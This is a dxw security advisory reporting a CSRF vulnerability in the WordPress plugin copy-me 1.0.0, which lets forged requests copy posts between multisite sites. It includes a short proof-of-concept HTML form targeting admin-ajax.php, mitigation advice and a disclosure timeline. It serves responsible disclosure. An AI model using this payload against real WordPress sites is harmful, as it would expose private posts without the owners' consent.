Details ================ Software: copy-me Version: 1.0.0 Homepage: http://wordpress.org/plugins/copy-me/ Advisory report: https://security.dxw.com/advisories/copy-me-vulnerable-to-csrf-allowing-unauthenticated-attacker-to-copy-posts/ CVE: Awaiting assignment CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N) Description ================ copy-me vulnerable to CSRF allowing unauthenticated attacker to copy posts Vulnerability ================ This plugin does not use nonces. Copying posts couldA allow taking a secret post from a non-public site within a multisite installation and moving it to a public site. Proof of concept ================ Click submit and itall copy post with ID 1 to blog/site with ID 1: <form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php\"> <input type=\"text\" name=\"action\" value=\"copyme_copy_item\"> <input type=\"text\" name=\"id\" value=\"1\"> <input type=\"text\" name=\"target\" value=\"1\"> <input type=\"submit\"> </form> Mitigations ================ DisableA the plugin. No fixed version is known. Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/ Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf. This vulnerability will be published if we do not receive a response to this report with 14 days. Timeline ================ 2016-11-01: Discovered 2016-12-07: Reported to vendor via contact form: http://www.alancesarini.com/en/contact-2/ 2016-12-07: Requested CVE 2016-12-21: Vendor has not respondedA after 14 days 2016-12-21: Published Discovered by dxw: ================ Tom Adams Please visit security.dxw.com for more information.